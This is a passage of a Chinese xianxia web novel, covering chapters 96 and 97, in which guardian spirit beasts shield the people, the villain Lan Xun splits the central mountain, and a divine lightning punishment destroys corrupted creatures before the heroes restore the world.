宛簌仰头看去,那座高耸的灵清山自底部向上寸寸崩裂,泥石滚落,神兽的鸣吼洪亮,声如惊雷。 众人同时看去,从崩裂的山中冲出一只体型庞大的猛兽,状似豚而有牙,它的周身长满青色的毛发,四蹄怒蹬,跃出高山跳至众人面前。 这是众人第一次见到当康的本体,这只象征丰收的神兽为他们带来了足以饱腹的谷物,它的体型庞大如一座小山丘,一蹄重重踹在地面,圣洁的玉灵之力以它为中心,向四面八方冲去,顷刻间加固了这抵御秽毒的屏障。 百姓们跪倒在地:“当康——是当康!” 对他们来说,玉灵宛如定心丸一般,能抵御万灾,无数次保佑他们平安。 可对于学过《十三州史》的修士们而言,见到玉灵本体并非值得兴奋的事,他们知晓当年的灾厄,玉灵轻易不以本体出山,若它们出山,便是灭城大灾来临。 当康清楚来的秽毒有多少,它也知晓这些修士是挡不住的。 可当康也不可能永远抵挡,玉灵的力量并非源源不断的。 长老来到宛簌身边,说道:“咱们得请求慕、闻两家帮忙,祟种能杀,但如今不是祟种攻城,是秽毒来了,能镇压秽毒的只有两个神器,当康只能抵御不能根除。” 宛簌声音颤抖:“现在已经不是支不支援的问题了,秽毒是从祭墟过来的,想必祭墟出事,那附近的城池怕是都遭殃了,慕二小姐和闻少主终归只有两人,双拳难敌四手,更难的是……” 她的唇瓣哆嗦,不知该如何说。 长老讷讷问道:“……更难的是什么?” 宛簌红着眼,猛地看他:“每座山镇守着一个阵点,一座山崩裂并无大碍,可十几座山同时崩裂,阵点崩塌,牵一发而动全身,一定会对琼筵山镇守的阵心带来影响。” 她顿了顿,看着远处那道庞大身影,当康出山短暂抵御秽毒,这座山已经崩了,待当康无法再抵御秽毒之时,它会选择和这些秽毒同归于尽,一同化为乌有。 这是玉灵对自己庇佑的百姓们最后的保护。 “那个人的目的不是攻了咱们这几座城池,他还是要对琼筵山出手。” 万里外,一座座山峰崩塌,那些镇守一方地界的玉灵们,重明鸟、勾陈、夔牛、三足乌、狰…… 玉灵被逼出山,短暂抵御秽毒,这些玉灵是天神赐予世间的福泽,它们生来就为庇佑,如今有人利用它们天生的纯善来谋戮这些玉灵。 作者有话说:下一章还有[撒花] 第96章 第 96 章 劈山 “家主, 师老家主传信,祭墟崩了!” 慕未缈匆匆走进,看着端坐主座的朝蕴焦急禀报。 蔺九尘和姜榆分站朝蕴的两侧, 皆都神情沉重,自朝蕴向下, 议事堂内坐满了人, 慕未缈的话一出,宛如惊雷般在人群中炸开。 有前来支援慕家的师家长老道:“崩了?二小姐不是和少主去了祭墟吗?” “如果祭墟崩了,那慕二小姐和闻少主岂不是……” “他们两人前去祭墟缉拿兰洵, 如今祭墟却崩塌,那附近的城池肯定也已遭难,这么多个阵点崩裂, 琼筵山定受重创!” 朝蕴闭上眼, 搭在扶手上的手攥紧, 红唇紧抿。 不等她回话安抚住这些来自不同世家的长老们, 下一刻, 又有人匆匆走进来,这次来的弟子神情仓皇,宛如听到惊天噩耗般。 “家主, 前半夜有几个世家前去捉拿鹤阶余孽,那鹤阶……里头的人有三成化为祟种, 其余七成弟子长老早已被戮杀, 而进去缉拿的几个世家,足足五千人, 只活着逃出来了几个!” “什么?”师家长老拍桌而起,“鹤阶的人怎会化为祟种!” 有人回道:“那兰洵当年闯鹤阶之时便给他们都下了毒,谁知道他下的什么毒, 说不定是秽毒呢,看他并不关心鹤阶的样子,八成早已打算催动秽毒让这些曾经的手下化祟了!” 一名沅湘周家的长老皱眉道:“怨不得鹤阶近些时日来安安静静,合着里头全剩祟种了,兰洵控制他们不让其出来,待到要用到的时候再放出。” “如今各大城池都遭遇祟难,大家忙得晕头转向,竟还有些门派有闲心去揽功。” 众说纷纭,讲什么的都有。 直到一人忽然拍桌,巨大的声响让这些谴责那些急功近利之人的长老们清醒,他们仰头看去。 朝蕴脸色冷沉:“现在是吵架指责的时候吗,鹤阶里面可是有起码千只祟种了,加上云川牢狱内被劫走的囚徒,那些人修为更高,化祟后一只祟种都能戮一城了。” 众人脸色一变。 朝蕴起身,走出议事堂,望向将要破晓的天际,她听到金龙越发焦躁的吼声,不仅她,许多人都已听到。 慕从晚站在一旁说:“有祟种朝琼筵山赶来,很多只。” 这才是更大的噩耗,身后的议事堂内鸦雀无声,静到连呼吸声都消失了般,直到一人的茶盏掉落在地,瓷器碎裂的声响炸开,平地惊雷般唤醒众人。 有人慌忙站起来,给家族传信:“调人来,快调人来琼筵山……调更多人!” 琼筵山作为阵心的事情,有些家族不信,觉得是慕家欲为自己加冠。 有些家族信了,却不愿调兵前来镇守琼筵山,而是以自顾不暇为由守着自己的城池。 只有两成的门派愿意在这种关头出兵守着琼筵山,镇守这片大陆的阵心。 可如今若对上不知道多少的祟种,再多的人都守不住。 他们清楚琼筵山的重要,才更加慌乱,此刻恨不得将全宗的人调来。 慕家长老沉默不语,有些计划只有他们知晓,无法告知这些人,恐泄露出去影响局面,可原先对慕夕阙的不信任在此刻似乎也松懈了许多。 蔺九尘走到朝蕴身边,听到朝蕴低声呢喃:“小夕果真说对了,兰洵会全力攻琼筵山,这一月来祟种攻打其他城池,只是为了让这些世家慌乱,不敢在这种关头借出兵力援助琼筵山。” 众人生怕下一个遭祟难得便是自己的城,思虑颇多,愿意援助琼筵山的世家们便少之又少。 兰洵攻下琼筵山的机会便更大。 蔺九尘低声问道:“城内的百姓已提前遣送去附近的村镇,留守城内的如今是各大世家的修士们,若我们让琼筵山崩裂,金龙出山……小夕和闻少主那边但凡有半分差池,我们所有人都会被祟种戮杀。” 朝蕴闭目,垂下的手攥紧,喉口几乎要溢出血,她的呼吸颤抖,有些话怎么都说不出口,反复尝试多次,才终于从喉口挤出:“金龙认可了小夕的对策,我们得信金龙……我也信小夕。” “成,则万世太平,再不会有秽毒和祟种;败,则苍生陨灭,我们所有人都会因未能救世的业障死于天谴之下。” 她单手执剑,走向山下,慕家弟子们紧随其后。 淞溪主城内已没有百姓,只剩这些或年轻,或年长,或修为高深,或刚入道的修士们,将这座最高的山团团围起,望向远处紧闭的城门。 日头升起,烈日不会因为灾难而停止照耀这世间,日升月落,四季轮换,不会因任何事改变。 他们也在晨光驱逐所有晦暗之际,见到了第一只出现的祟种。 看清那张脸的时候,朝蕴眉心紧锁。 “……任前辈?” 竟是一只大乘境的祟种。 悬浮于虚空之上的兰洵安静注视着淞溪的惨案,百只祟种朝这座城攻来,顷刻间便突破防线,修士们殊死搏斗,血染红了这座城。 而远处,接到消息的世家们再坐不住,这么多只祟种攻琼筵山,便是间接佐证了慕家的说辞。 若真的攻下这座山,阵法破碎,整片大陆再次被祟种和秽毒吞没,玉灵出山一个接一个死去,福泽消失,天神会摧毁这个世间。 不断有世家前来支援,生灵涂炭,横尸千里,到了这种关头,慕夕阙和闻惊遥还是未出现。 兰洵原先还揣着几分猜疑谨慎,以这两人的聪慧怎会贸然前来缉他,如今反而想笑,都死这么多人了还未出现,连慕夕阙那大师兄和小师妹都已消失在血海中,她还是不见踪影。 他没功夫再猜忌,掠过正在打斗的城内,飞向高空的琼筵山。 有人瞧见那抹黑影,惊恐喊道:“兰洵——兰洵去了琼筵山!” “十二辰掏空神力,金龙如今虚弱,阵点连碎,重创阵心的琼筵山,这座山定撑不住!” “朝家主,快启动咱们提前布下的阵法,汲取我们所有人的神魂之力保住这座山啊!” 朝蕴浑身是血,单手提剑看着那座高耸的山,这些祟种已放弃打斗,无视阻拦的修士们,他们冲向琼筵山,身后追了乌泱泱妄图阻拦的修士。 有长老怒吼:“朝家主!你还等什么,我们不怕死,启动大阵啊!” 他们花了一月布下的大阵,这是已无转圜之力后的最后一击,阵法启动,吸取所有人的修为魂力,为这座山凝出最后的结界罡罩。 可朝蕴却只是沉默,她一动不动,慕家长老也未动。 师家长老不可置信,上前指着琼筵山:“朝家主,你在发什么愣呢,难不成你怕了!” 朝蕴却抬眸看他,淡声道:“没用了,只能挡一时,我们死后也护不住琼筵山的。” 一个长老上前推了把朝蕴:“你疯了吧!护不护得住是你我身死之后的事,但起码现在,你不能眼睁睁看着琼筵山崩,看着秽毒出现!” 慕家弟子上前阻拦,众人顿时从方才的厮杀中变成了相互推搡争吵,恐惧已经让人失去理智,朝蕴被推来推去,慕家长老们也同样如此,她一动不动,仰头看着那令她做了多日噩梦的刀影再次浮现。 那柄足以遮天蔽日的刀影,曾经在她的面前劈下,令无数慕家弟子相继赴死,只为了阻拦这柄刀砍向金龙的速度。 如今这柄刀再次浮现,却比先前更加庞大,那些祟种被控制,调动自己的灵力加注于兰洵的这柄刀影,令这刀足以囊括整个淞溪主城。 朝淞溪主城奔来的其余世家于半路中仰头看去,皆惊愕不已。 “不——” 那柄刀这次斩的不是金龙,而是这整座山。 它以骇然之势落下,匡恶果树被拦腰斩断,山脊碎裂,山壁碎裂,那柄刀砍在这座山上,加注了渡劫修士全数的灵力和这些祟种的力量。 它这次要劈山! 兰洵双目赤红,咬紧牙关,喉口满是血,感受到自己的经脉正在一根根崩裂,劈碎阵心、为这片大陆带来灾难,这等业障正在快速压过他夺取的福泽,也逐渐令那居于天外亘古的神注意。 兰洵半分不怵,握紧长刀,手背青筋突起,他一字一句厉喝道:“我要这肮脏丑恶的世间毁灭,我要公正,要一个你们逼死的人去执掌苍生的生死!” “慕念蓁,你献祭神魂守住的山,我偏要劈碎它!” “住手,住手——” 苍穹之下,被那柄刀遮住所有光亮的修士们或奔去琼筵山,或跪倒在地,仰头厉吼,几乎要泣出血泪。 他们听到一声悲沉的龙鸣。 这龙鸣声传扬万里,传遍整个十三州。 师盈虚刚准备去支援琼筵山,听到这声龙鸣,她仰头望向淞溪的方向,面色惨白。 她张了张嘴,想要发声却又无力。 徐无咎道:“琼筵山没守住,师大小姐,你是否有些过于信任慕二小姐了?” 师盈虚只觉得眼前模糊,她眨了眨眼,抬手摸脸,却摸到一手的泪水,她咬紧牙关,用尽力气说:“不……不会的,夕阙不会放弃琼筵山的,她敢去祭墟,就一定有对策。” 徐无咎却分外冷静:“可如今祭墟失守,秽毒攻了附近的城池,阵点连破,导致处于阵心的琼筵山也遭到重创,慕家并未启动护山大阵,师大小姐,你这位挚友在做什么?” 现在说这些似乎无意义,因为几乎在徐无咎的话落下的刹那,青城师家的山也崩了。 阵心破碎,囊括整个大陆的阵法已在同时碎为齑粉,压在地底的秽毒再无束缚涌了出来,灭城之灾,玉灵会出山。 这是师盈虚第一次见到貔貅。 百姓们仓皇奔出房屋来到街上,貔貅高大的身躯抵挡在众人之前,金色灵力将秽毒抵御在外。 赤敛麒麟,沅湘毕方,东浔青鸾…… 这些只存在于《玉灵录》上的神兽们,在琼筵山崩裂的那一刻,便已经尽数出山,不计其数的罡罩撑起护佑了一座又一座城池。 十三州乱了的瞬间,海外仙岛也乱成一团。 秽毒从海中冲向海外仙岛,与之一同冲来的,还有从十三州被驱逐来的祟种,没有祭墟的阻隔,没有海底巨兽的吞噬,这些祟种跃进海中,如游鱼般冲来。 秽毒撞击到罡罩之上,朱雀和鲲分守东西两侧,两只已养好伤恢复灵力的玉灵在诸多玉灵中属于强大一列,可海外群岛也只有两只玉灵。 它们要抵御海外仙岛的地下窜出的秽毒,也要抵御从祭墟涌来的秽毒。 修士们可以帮助玉灵巩固罡罩,可百姓们没有灵力,遇上祟种和秽毒毫无反抗之力,他们或坐在家中,或站在街上,望着这逐渐灰暗的苍穹。 天色变得太快了,半个时辰前还有的日头已被笼罩。 宋云岫指着虚空道:“兄长,你有没有觉得……云层后面像是有一双眼睛啊。” 宋云霁拧眉看去,他愣了下,高有几万丈的苍穹上如今阴云密布,一双硕大的眼睛似乎在云层之后,他在那双眼里看到了花开花败,风吹雨落,凝霜化雪…… 那双若隐若现的眼里有草长莺飞,春和景明,也有凛冽朔风,百叶凋零。 萌芽,新生,枯萎,凋落。 生与死,万物苍生都在那双眼中,安静注视这个世界。 越疏棠也注意到了云层,她仰头看去,愣了许久,忽然想到慕夕阙的话。 天神创造出一个个世界,给予此间磨炼与灾祸的同时,也会赐予它们福泽以抵御灾难,促人成长。 山灵们是天神赐予世间的福泽,一旦这些福泽之气苍零凋敝,越发稀少,这个世界便没有抵御任何灾难的能力,大寒不断,谷物不丰。 那么天外造世的神便会现身,除去福泽意外,这些修士百姓、花草树木、以及秽毒祟种,全部都会死于天谴之下。 越疏棠磕磕绊绊道:“……玉灵们的福泽在削弱。” 她看向海里的鲲和虚空的朱雀,两只玉灵能撑住多久呢,这囊括了万丈的罡罩已经在祟种的冲撞下浮现了裂纹,修士们慌忙去补,可人力也远不足。 越疏棠补完一步又瞬移向另一处,罡罩阻拦的不仅是秽毒,还有祟种。 猝不及防,她对上了一张苍灰色的脸,那只祟种在疯狂击砍这处罡罩,越疏棠与他对视,看着那双眼睛的刹那间,喉口好似梗了一把刀,割得她血肉淋漓。 愣神的片刻,她面前的罡罩便已经被那只祟种砍出了一丝裂痕。 “阿姐!”迟笙赶忙冲来帮着补上。 越疏棠回神,擦去脸上的泪痕,咽下满腔的血补阵。 迟笙看了看罡罩外那只祟种的脸,又看向越疏棠。 老实说,越疏棠和越父长得很像,他们的眉眼间都有股逼人的英气和坚韧,即使迟笙未见过越父,当他和越疏棠同时出现的时候,她仍能一眼认出这是一家人。 迟笙也觉得喉口梗得难受,她没说话,看越疏棠抖着手补阵。 已经成为祟种的人,没办法再救了,越疏棠找了几十年的父亲,在不知道什么时候变成了祟种,如今被人操控着攻向他过去守了几乎一辈子的海外仙岛,攻向他的女儿。 可只有两只玉灵,裂缝越来越多,苍穹之上那双眼睛也愈发明显,天神之力已经越来越近,这便证明这些玉灵的福泽愈发稀少了。 咔嚓—— 碎裂的声音响起。 西北侧守阵的修士被猛力撞飞,那处登时出现了缺口,在外拥挤的秽毒找准时机钻入,只听得百姓们尖叫,越疏棠忙松手奔去欲要救人—— 啼鸣声脆响,震彻万里,在秽毒即将抵达百姓面前,凭空出现一方泛着赤红光亮的灵力屏障,将冲进来的秽毒一股推出,堵上了那处缺口。 从远处天际冲来庞大黑影,一翼一目,紧密相依,比翼齐飞,它们煽动巨翅掀飞多只祟种,同样悬停在虚空。 迟笙低声道:“阿姐,阿姐……阿姐你看啊!” 她的音量拔高,指着虚空出现的玉灵,《玉灵录》上并未记载这只双生神鸟,百姓们一头雾水不知这是从何处出来的神兽,又唤什么名字。 但迟笙知道,她指着玉灵:“那是比翼鸟,它们真的回来了!” 梅枝雪穷尽多年保留它们的尸身,布下聚灵阵,集结天地灵气,将两只玉灵尚未枯萎的心脏还回去,用两名大乘境修士的神魂和全部灵力加注于聚灵阵中。 越疏棠本以为这是她的孤注一掷和疯狂。 但如今看着那两只神鸟,比翼鸟、朱雀和鲲相互鸣叫,玉灵的福泽是最强的防护结界,越疏棠忽然觉得,若她是梅枝雪,怕也会做出同样的选择。 天神洒下福泽,这些福泽集结天地灵气在数万年内化为了一只只神兽,它们寻找栖息地,有些成为玉灵,有些仍自由自在当自己的山灵。 迟笙分外欢喜,她拉住越疏棠的手腕,指着比翼鸟:“它们真的会再回来!它们集结天地灵气诞生,天地也会将它们还给这片大陆!” 越疏棠在那一刻,忽然明白了慕夕阙和闻惊遥到底要做什么。 她反握迟笙的手:“慕二小姐是故意让祭墟崩塌,琼筵山崩裂的,她要让兰洵挥出那掏空灵力的一击,让所有玉灵出山,逼天神现世!” 迟笙眨了眨眼,问道:“……天神现世不是会毁灭这个世间吗?” “慕二小姐的目的便是引来天谴!天谴可以摧毁秽毒和祟种的,如果我们的业障压过了周身的福泽,那么天神当然也会劈碎我们,可天谴不劈带有福泽之气的东西,无论生灵还是一块物品!” 迟笙听不太懂,歪歪脑袋,可看着激动的越疏棠,好似被感染了一般,她心中压抑的恐惧似乎在慢慢消失,填满空缺心房的,是一种莫名的安稳。 越疏棠说道:“天谴不会劈我们的,兰洵的目的达不到,他不可能让一块血肉成为新的天道。” 作者有话说:下一章还有[撒花] 第97章 第 97 章 天谴 玉灵齐出, 连带着一些并未成为玉灵的神兽也主动出现,飞往一个个就近的城池援助,用它们的福泽短暂抵御秽毒和祟种。 兰洵挥出那最后一招, 这劈山一招掏空他的灵力,他的脚步踉跄几下, 从虚空跌落, 重重砸进地面。 他躺在坑底,血沿着断裂的经脉涌出,他摘下脸上的獬豸面具, 用干净的衣袖擦去面具上的血,看着这张庄严肃重的兽脸,忽然笑了下。 “我不知这到底是不是你要的公正, 但这是我要给你的公正。” 兰洵将这枚獬豸面具放在怀中, 冰冷的面具贴着他的心口, 他仰面躺在地上, 望着虚空中那双越来越明显的瞳眸。 在神的眼里看到了苍生万物, 看到了生与死。 那双眼冰冷盯着兰洵,兰洵这些年猎杀的山灵不少,七成给了陈知韫汲取福泽, 剩下三成用于自己身上,以这些山灵的福泽来掩盖自己身上的业障, 躲避天道锁定。 一旦业障过多, 被天道锁定,天雷便会降下, 这便是业报。 崩裂琼筵山,放秽毒出世,这是极大的罪业, 带来的业障足以抹去他周身的所有福泽,而这些未能救世的百姓们也会平摊世界毁灭的业障,天雷会精准锁定每一个业障大于福泽的生灵。 兰洵在不渊海取得阴阳神石之时,从那块石头里看到了这双来自天外的眼睛,读到了一些不该被知晓的秘密,看到了神是如何造世的。 他叹了一口气,这万年来所有筹谋都为了今日,总之如今山灵们的福泽因为抵御秽毒和祟种在快速消失。 虽不知为何玉灵的福泽消失得这般快,不过几个时辰便引来了天外的神。 山灵们没有过浓的福泽,那么属于陈知韫的心脏便是福泽最浓厚的,万年的混沌期后,天神会赐予所有福泽生命,包括这块血肉。 它或许会成为个人,或许是一棵树,一朵花,一片云……作为福泽最浓厚的存在,它毫无疑问会成为新的天道,注视这个世界的兴衰。 兰洵听到耳侧呼啸的风声,以及云层内逐渐出现的闷雷声,那是天谴在做准备。 他抱紧手中的乾坤袋,那里面装的是唯一属于陈知韫的血肉了,天谴是不会劈碎它的,当他化为灰烬的时候,便是最后一次拥抱陈知韫了。 “知韫……” 兰洵的额头抵着乾坤袋,小声说,“你要是能记得我就好了。” “它再次复生后都不是陈知韫了,你还要她记得你?” 略显嘲讽的声音从上传来,兰洵忽然睁开眼,他躺在坑底,而深坑边蹲了个身着破烂红衣的少女。 慕夕阙歪歪脑袋,对他一笑:“原来你长这样啊,长得还不错,怎么生了颗丑恶的心呢?” 兰洵翻身跃出深坑,一掌攻向慕夕阙。 慕夕阙侧身避开,而不知从何处冒出的闻惊遥自侧方攻向兰洵,掌心重击在他心口,将其撞出甚远。 兰洵捂着心口呕出口黑沉的血,他面无表情擦去唇角的血,看着并肩而立的两人:“几个时辰不见,你们大乘境了,金龙明明虚弱,十二辰也确实掏空了灵力,你们为何还能进境,且还能从祭墟逃出?” 慕夕阙抬手,扬了扬掌心的两枚龙鳞:“金龙赠予了我三枚龙鳞,将它几千年的修为给了我,它的虚弱可并非因为十二辰被掏空,我在祭墟内根本没用十二辰,那是障眼法。” 兰洵看向不说话的闻惊遥:“你身上有青鸾和玄武的神力,借用玉灵的力量进境,不觉得胜之不武?” 闻惊遥眉心微蹙,似乎不解他为何能问出这种话。 “你行事下作,惯用阴狠伎俩,毫无底线原则,又怎能要求旁人守着规矩,被你逼迫呢?” 兰洵直起腰身,将獬豸面具挂在腰间,他并未有生气,而是冷声道:“进境太快,身体承受不住,过不了多久你们便会爆体而亡。” “那便不必你操心了。”慕夕阙淡声道,看了眼兰洵手中的乾坤袋,“你真的觉得一颗早已停止跳动的心脏,能成为主宰世间对错的天道?” 兰洵咬牙切齿道:“自然能,就算不能,杀了你们所有人,我也算给她交代了。” 慕夕阙皱眉:“自作多情,你要的交代未必是她需要的,陈夫人这样的* 人,死后还被你以她的名义犯这些罪业,怕是得恶心得几天吃不下饭,恨不得从未认识过你。” “你算什么东西!”兰洵瞬移上前,抬手攻向慕夕阙。 闻惊遥拽住慕夕阙后撤,两人轻易躲开了兰洵的杀招。 兰洵打了个空,摇摇晃晃稳住身子,忽然大笑起来:“我明白了,你们两个是故意去祭墟找我,让祭墟崩塌,除去你们,我便毫无后顾之忧掏空灵力挥出那一刀,我虚弱后,你们就能杀我了?看似聪明,实则杀敌一千自损八百罢了。” 他席地坐下,背靠一根倒下的树木,身子后仰,扬起脖颈望向苍穹中已经能完全看出轮廓的双目。 “要杀要剐随你们便,总之这片大陆的福泽在消失,所有山都崩了,天神会摧毁一切的。” 他迟早得死,死在天雷之下,或者这些修士手中无所谓,兰洵并不在乎。 兰洵低声呢喃:“早些摧毁这一切,早些将她还给这世间吧。” 慕夕阙并未杀他,她仰头望向苍穹中的双目,那双眼睛中有万物,天外的神在看着这一切,这一次灭世的天谴并非这个世界的天道降落,而是由直接降下的。 那双眼睛在看,看这个世界的福泽还剩多少,当低于一定限度,便可以直接出手了。 天雷要来了,凛冽的风吹得人站不稳,将慕夕阙和闻惊遥的衣裳以及长发交织在一起。 她侧首望向身旁的少年,忽然展颜一笑:“你看,我曾经想着要将十三州搅得天翻地覆,可实际上,我只想杀有罪的人,我还是想好人活着的。” 闻惊遥抬手擦去她面上的灰尘和血迹:“夕阙,你是最好的人。” 慕夕阙别过头,不再看闻惊遥,她站在高处俯瞰下方:“闻惊遥,你其实也挺好的。” 两人同时奔向远处,在他们走后不久,天雷已凝形。 兰洵没有丝毫恐惧,活了万年了,孤身一人活上这么多年实在过于痛苦。 在最后闭上眼之际,他握紧手中的乾坤袋,隔着一层袋子,将里头装着的琉璃盒贴在心口,好似陈知韫的心脏又再次与他的心碰撞了。 第一道惊雷落下,劈向的是仰面懒洋洋躺着的兰洵,随后几道天雷分毫不歇息,一道接着一道劈落,抱着要将他劈成齑粉的目的,荡平周遭一切。 这个业障最深的人,杀业极重,必遭业报。 只要等到天雷劈碎一切,这个世界便会陷入万年的混沌,那块心脏便有机会复生。 而虚空中不断有天雷落下他们,它们劈向秽毒,祟种,和草木泥石,要将一切都劈碎,百姓们惊惶抱在一起,看着头顶的天雷降落,劈在了玉灵的罡罩上。 稚嫩的孩子缩进母亲的怀抱:“阿娘,它为何要劈我们!我们做错了什么!” 可母亲也无法解释,她闭着眼,听那些天雷落在结界罡罩上,在罡罩外的一切早已被接连的天雷劈碎,连一花一草都未留下。 而玉灵的结界,也撑不了多久。 淞溪主城内,众人仰头望着那只体型不可估量的金龙,兰洵劈了那座山,却未能斩杀里头栖息在最深处的金龙。 方才还指着慕家鼻子骂的修士们怔愣着,忽然反应过来:“金龙有玄武的背甲抵御?” 朝蕴孤身提剑,望着头顶上被金龙抵御的天雷,她已无力回话,对女儿的忧心让她没办法在此刻回应这些。 “抱歉,诸位,是我们事先未告知。”蔺九尘背着重伤的姜榆,一瘸一拐从远处走来,身旁还跟着衣着还算整洁的慕从晚,是她于祟种手下救下了蔺九尘和姜榆。 蔺九尘将姜榆放在地上,低声道:“是小夕和闻少主的主意,兰洵谨慎且心思深沉,他们事先猜到兰洵守在祭墟内,应是有要事,兰洵静等我们找过去,是为了在里面杀掉小夕和闻少主。” “没有两个神器之主,神器无用,无法镇压秽毒,兰洵会想办法崩裂祭墟,令周遭城池率先沦陷,阵点连破,琼筵山重创,届时他会想办法调动祟种攻山,挥出最后杀招令山崩。” 慕从晚抬眸看向众人,说道:“事关重大,诸位人多,但凡有一人泄密,此事便成不了,兰洵会另想它法,可我们等不及了,无法再耗下去。” 一位长老指着虚空的天雷怒喊:“这就是你们说的主意,兰洵真的将山崩了,秽毒全数出没,天神要灭世了!神要杀了我们!” “不,天神不会杀了我们的。”慕从晚淡声反驳,对比情绪激动的长老,她沉静多了,温声说,“天谴只会劈碎有业障的一切。” 有人厉声怒喝:“可我们也有业障!我们未能救世,灭世的业障便会摊在每一个人头上!” “如今天雷连一颗石头都劈碎了,连一颗石头都有业障!” 这些人的情绪激动,面临灭世之灾,无人能冷静,包括最初的慕家长老们,当朝蕴告知他们,要慕家对琼筵山束手旁观,不必尽力挽救的时候,这些长老甚至连朝蕴这个家主都骂上了。 最后让他们点头的,是金龙的认可。 “天雷不会劈我们的。” 朝蕴的声音极轻,轻到这些暴怒的修士根本听不清。 她却不在乎,仰头望向那只金龙,体长千丈,望不到头,一枚金色鳞甲都有一座山丘那般大,它悬停在众人头上,可以笼罩整个淞溪地界,以一己之力抵御天雷和祟种秽毒—— 如今应当已经没有祟种秽毒了。 这些不被玉灵庇佑的存在,会陨灭在这场天谴之下。 海外仙岛,隔着一层屏障,越疏棠看着那只脸色苍灰的祟种,她的眼里全是泪,抬手隔着屏障试图触碰父亲的手。 被天雷击中的刹那,那只祟种灰白的瞳仁忽然颤了颤,他看着面前的脸,化为齑粉的瞬间,一滴水珠落在地面。 越疏棠捂脸痛哭,迟笙只能抱紧她,无声安抚。 众人仰头望着虚空的天雷,以及撑起屏障的玉灵们,直到屏障外的秽毒和祟种已全数死于天雷之下,化为乌有,那些玉灵好似力竭,从虚空中重重摔落。 鲲沉进海中,朱雀和比翼鸟的双翅斡旋,如两团火球般砸落。 百姓们惊呼,凡人又怎么能接得住庞大的玉灵呢? 没有玉灵的庇佑,又一轮天雷落下,这一次,劈向的是这些百姓们。 大多数百姓惊恐尖叫,在生命的最后时刻只能抱紧自己的家人,越疏棠动也不动,迟笙抱紧越疏棠,她缩着脖子等待天雷的落下。 可什么都没有,一息,两息…… 几息功夫过去,有人斗着胆子睁开眼,只见从苍穹落下的天雷悬停在身前几丈远,天雷颤抖嗡鸣,似乎在识别什么。 不断有人睁开眼,仿佛一场流星雨从天而降,千万道天雷停滞在身前,却并未击中任何一人。 苍穹后的那双眼睛似乎也在凝视,这些周身散发着荧荧微光的存在,在神的眼里不再是一团黑点,他们周围的光亮越发强大。 神曾经降于这世间的一团团福泽在方才消失到几乎看不见,却又在此刻,变为一颗颗繁星般的存在,宛如一张布满了整片大陆的棋盘。 而这些发着微光,散发着福泽之气的星点,是苍生。 神忽然明白了,混沌时期赐予世间的一团团福泽,集结天地灵气化为山灵后,方才这些山灵的福泽消失得那般快,是它们将福泽均匀赐予了每一个百姓。 有福泽的不仅是山灵,这千千万万的百姓身上,有着星星点点的福泽,足以盖过他们未能救世的业障。 这来自于山灵的馈赠。 僵持了几息功夫,一阵风吹过,从天降下的天雷化为尘烟。 天谴不劈带有福泽之气的万物。 兰洵挥出的那一刀并非斩杀了金龙,金龙的鸣吼传扬整片大陆,也不是痛苦悲鸣,而是在传信。 金龙在向其余所有玉灵传信,告知它们,将七成福泽均匀分给自己庇佑的百姓们。 察觉到这些百姓周身的福泽后,十三州和海外仙岛的千万天雷尽数消散。 但那双云层后的眼睛,仍未消失,似乎在搜寻什么东西。 东浔主城内,庄漪禾站在院内,捂着心口佝偻脊背。 外头的弟子们在欢呼,天谴劈毁了祟种和秽毒,却留了他们的命,从虚空砸落的青鸾周围已经聚集了上万百姓,他们为这只重伤的神鸟擦拭血迹,捡起它摔落的青羽。 唯有庄漪禾在哭,弟子们不知道那双眼睛为何还未消失,可她知道。 她也知道,那双眼睛在找谁- 慕夕阙和闻惊遥拔地而起,青鸾的羽和金龙的龙鳞有两只玉灵赠予的千年修为,纵使借助玉灵之力快速进境后果不堪设想,可如今他们没有办法。 两人的修为暴涨,玉灵的力量强大磅礴,一瞬冲过大乘直入渡劫。 慕夕阙悬停在虚空,看到远处聚集的人群,为首的人是朝蕴,她的身后是慕家的长老弟子,以及其余宗门前来支援的修士们。 青城师家的人也追来了,她的家人和她的挚友都在这里。 慕夕阙压下经脉中的疼痛,抬手祭出十二辰,朵朵莲瓣绽放,那朵圣洁的莲花倏然变为小山般大小,悬停在虚空之中,瓣身中有鎏金光泽流过。 闻惊遥也祭出了天罡篆,篆盘上的指针在地方八极快速划过。 玄武告知他们—— 天罡篆掌地方八极,待主人修到渡劫后,可切断地脉令地崩山摧,也可重聚地脉令群山复原,裂缝回合。 十二辰不仅主阴阳轮回,它执掌天脉,掌四时流转,若慕夕阙修到渡劫,能轻易令一朵枯萎的花复原,能将生灵之力再次还于这世间。 可她上辈子并未修到渡劫,大乘满境之时便已寿数不长了,活不了几年。 慕夕阙看着闻惊遥,苍穹中那双眼睛已经锁定了他的位置,天雷在酝酿。 闻惊遥笑了下:“时间不多,开始吧。” 两人悬立在昏暗苍穹之下,万丈上是一双盯着他们的眼睛,万丈下是倒塌的群山和崩裂的地面,千万修士百姓仰头看去。 十二辰和天罡篆迸发出耀眼的光,光泽照亮整片大陆,连几万里外的海外仙岛也瞧见了这抹光亮。 崩裂扭曲的世界在一点点复原,断裂的地脉被街上,倒塌的群山以肉眼可见的速度快速复原,裂缝像是有了生命般自己长回。 一株青草从泥土钻出,一只灵鸟被无形的力量凝实……万物回春,生机盎然,众人在短短一刻钟内,看了春夏秋冬,冬雪融化,枝叶长出,花草茂盛,又在秋季凋零,冬季再次披上霜雪。 这是四时流转,这是十二辰借天脉之力还给世间的生灵之气,将被天谴劈碎的一切还回。 苍穹中的天雷已经凝实,慕夕阙和闻惊遥落地,周围枝叶茂盛,他们像是站在花丛中,慕夕阙仰头看着他,不论中间经历过多少事,在此刻,她觉得一切都可以抹平了。 闻惊遥捧住她的脸,俯身在她唇上轻啄,一触即离,两人鼻尖相抵,他低声道:“夕阙,这与你无关,你不要回头看我,能再次见到你,见到这一切,天谴也不可怕。” 慕夕阙笑得眉眼弯弯,捏捏他的脸:“行吧,你好面子,那我走了。” 闻惊遥也在笑,他平日不常笑,因此小时候也常被慕二小姐逗,可此刻迎着轰隆的天雷,看着这复苏的万物,以及站在苍生中的她—— 这一切都让闻惊遥从心底升起一股愉悦与欢喜。 死并不可惧,他这一生也不必以长度来论,活多少年只要无悔,便值得。 作者有话说:我来解释一下这个天谴哦。 